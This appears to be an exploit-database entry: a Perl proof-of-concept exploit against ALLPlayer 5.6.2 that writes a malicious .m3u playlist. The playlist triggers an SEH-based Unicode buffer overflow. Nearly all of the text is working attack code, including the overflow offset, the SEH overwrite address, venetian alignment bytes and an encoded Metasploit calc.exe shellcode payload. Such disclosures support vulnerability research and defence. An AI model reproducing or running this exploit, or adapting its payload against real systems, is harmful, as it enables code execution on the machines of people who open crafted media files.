ALLPlayer 5.6.2 (.m3u) - Local Buffer Overflow (SEH/Unicode)
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来源:@SecuritySift 作者:Czumak 发布时间:2013-11-13
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#!/usr/bin/perl
############################################################################### # Exploit Title: ALLPlayer 5.6.2 (.m3u) - SEH Buffer Overflow (Unicode) # Date: 10-22-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: ALLPlayer 5.6.2 # Software Link: http://www.allplayer.org/download/allplayer # Version: 5.6.2 # Tested On: Windows XP SP3 # # Credit to metacom for finding bug and publishing original POC # - http://www.exploit-db.com/exploits/28855/ # Shouts to corelanc0d3r and b33f for some great unicode exploit tutorials # # Due to unicode conversion this is a venetian shellcode exploit # To exploit simply open the created m3u file ##############################################################################
my $buffsize = 5000; # sets buffer size for consistent sized payload my $junk = "http://" . "\x41" x 303; # offset to seh my $nseh = "\x61\x62"; # overwrite next seh with popad (populates all registers) + nop my $seh = "\x11\x4d"; # overwrite seh with unicode friendly pop pop ret # 0x004d0011 : pop ecx # pop ebp # ret | startnull,unicode,ascii {PAGE_EXECUTE_READ} [ALLPlayer.exe] # ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.6.2.0 (C:\Program Files\ALLPlayer\ALLPlayer.exe)
# unicode venetian alignment my $venalign = "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad $venalign = $venalign . "\x71"; # venetian pad/align $venalign = $venalign . "\x58"; # pop eax; put ebx into eax and modify to jump to our shellcode (100 bytes) $venalign = $venalign . "\x6e"; # venetian pad/align $venalign = $venalign . "\x05\x14\x11"; # add eax,0x11011400 $venalign = $venalign . "\x6e"; # venetian pad/align $venalign = $venalign . "\x2d\x13\x11"; # add eax,0x11011300 $venalign = $venalign . "\x6e"; # venetian pad/align $venalign = $venalign . "\x50"; # push eax $venalign = $venalign . "\x6d"; # venetian pad/align $venalign = $venalign . "\xc3"; # ret
my $nops = "\x71" x 109; # some unicode friendly filler before the shellcode
# Calc.exe payload # msfpayload windows/exec CMD=calc.exe R # alpha2 unicode/uppercase my $shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZA". "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA". "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB". "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K". "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL". "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55". "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V". "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB". "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT". "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU". "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM". "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC". "QQ2LRCM0LJA"; my $sploit = $junk.$nseh.$seh.$venalign.$nops.$shell; # assemble the exploit portion of the buffer my $fill = "\x71" x ($buffsize - length($sploit)); # fill remainder of buffer with junk my $buffer = $sploit.$fill; # assemble the final buffer
# write the exploit buffer to file my $file = "allplayer_unicodeseh.m3u"; open(FILE, ">$file"); print FILE $buffer; close(FILE); print "Exploit file [" . $file . "] created\n"; print "Buffer size: " . length($buffer) . "\n";
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